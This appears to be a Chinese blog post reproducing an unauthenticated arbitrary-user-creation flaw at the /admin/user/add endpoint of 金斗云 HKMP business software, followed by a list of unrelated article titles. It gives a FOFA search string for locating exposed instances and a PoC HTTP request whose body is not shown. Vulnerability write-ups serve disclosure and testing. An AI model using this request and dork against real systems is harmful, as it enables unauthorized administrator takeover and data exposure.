当前位置： 首页 > news >正文

金斗云 HKMP智慧商业软件 任意用户创建漏洞复现

news 来源：原创 2024/7/7 19:17:22

0x01 产品简介

金斗云智慧商业软件是一款功能强大、易于使用的智慧管理系统，通过智能化的管理工具，帮助企业实现高效经营、优化流程、降低成本，并提升客户体验。无论是珠宝门店、4S店还是其他零售、服务行业，金斗云都能提供量身定制的解决方案，助力企业实现数字化转型和智能化升级。帮助企业提升业绩、优化流程、降低成本，并增强客户体验。

0x02 漏洞概述

金斗云 HKMP智慧商业软件 /admin/user/add 接口存在任意用户创建漏洞，未经身份验证的远程攻击者可以利用此漏洞创建管理员账户，从而接管系统后台，造成信息泄露，导致系统处于极不安全的状态。

0x03 复现环境

FOFA：body="金斗云 Copyright"

0x04 漏洞复现

PoC

POST /admin/user/add HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01

相关文章：

  • 《Windows API每日一练》6.2 客户区鼠标消息
  • 【Java09】方法（下）
  • 免费办公软件 -- LibreOffice v24.2.4
  • 2024 年最佳 Figma 字体
  • STM32学习历程（day2）
  • clone()方法
  • 无人机人员搜救
  • 看看这组B端规范，你就会感叹：钱真是万能的。
  • 推荐 2个功能强大的黑科技工具，真的会让你直呼卧槽
  • 工厂自动化相关设备工业一体机起到什么作用？
  • C++ 彻底搞懂指针（终章）
  • 数据库的视图
  • 由俭入奢易，由奢入俭难
  • 双剑合璧：双阶段目标检测算法与单阶段的较量
  • 第11章 规划过程组（二）（11.8排列活动顺序）
  • Eureka 2.0 开源流产，真的对你影响很大吗？
  • Git同步原始仓库到Fork仓库中
  • PHP的Ev教程三(Periodic watcher)
  • react 代码优化(一) ——事件处理
  • SwizzleMethod 黑魔法
  • vue的全局变量和全局拦截请求器
  • WebSocket使用
  • 纯 javascript 半自动式下滑一定高度，导航栏固定
  • 从零开始的无人驾驶 1
  • 大快搜索数据爬虫技术实例安装教学篇
  • 函数式编程与面向对象编程[4]:Scala的类型关联Type Alias
  • 京东美团研发面经
  • 强力优化Rancher k8s中国区的使用体验
  • 让你成为前端，后端或全栈开发程序员的进阶指南，一门学到老的技术
  • 算法-插入排序
  • 用 vue 组件自定义 v-model， 实现一个 Tab 组件。
  • hi-nginx-1.3.4编译安装
  • 蚂蚁金服CTO程立：真正的技术革命才刚刚开始
  • ​中南建设2022年半年报“韧”字当头，经营性现金流持续为正​
  • #git 撤消对文件的更改
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • $ git push -u origin master 推送到远程库出错
  • $.each()与$(selector).each()
  • （ 用例图）定义了系统的功能需求，它是从系统的外部看系统功能，并不描述系统内部对功能的具体实现
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • （C#）if (this == null)？你在逗我，this 怎么可能为 null！用 IL 编译和反编译看穿一切
  • (Qt) 默认QtWidget应用包含什么？
  • (Spark3.2.0)Spark SQL 初探： 使用大数据分析2000万KF数据
  • （分布式缓存）Redis哨兵
  • （附源码）springboot掌上博客系统 毕业设计063131
  • （附源码）ssm经济信息门户网站 毕业设计 141634
  • （论文阅读40-45）图像描述1
  • （顺序）容器的好伴侣 --- 容器适配器
  • （终章）[图像识别]13.OpenCV案例 自定义训练集分类器物体检测
  • ***php进行支付宝开发中return_url和notify_url的区别分析
  • .axf 转化 .bin文件 的方法
  • .gitignore文件使用
  • .net 按比例显示图片的缩略图
  • .NET 表达式计算：Expression Evaluator
  • .net 程序 换成 java,NET程序员如何转行为J2EE之java基础上（9）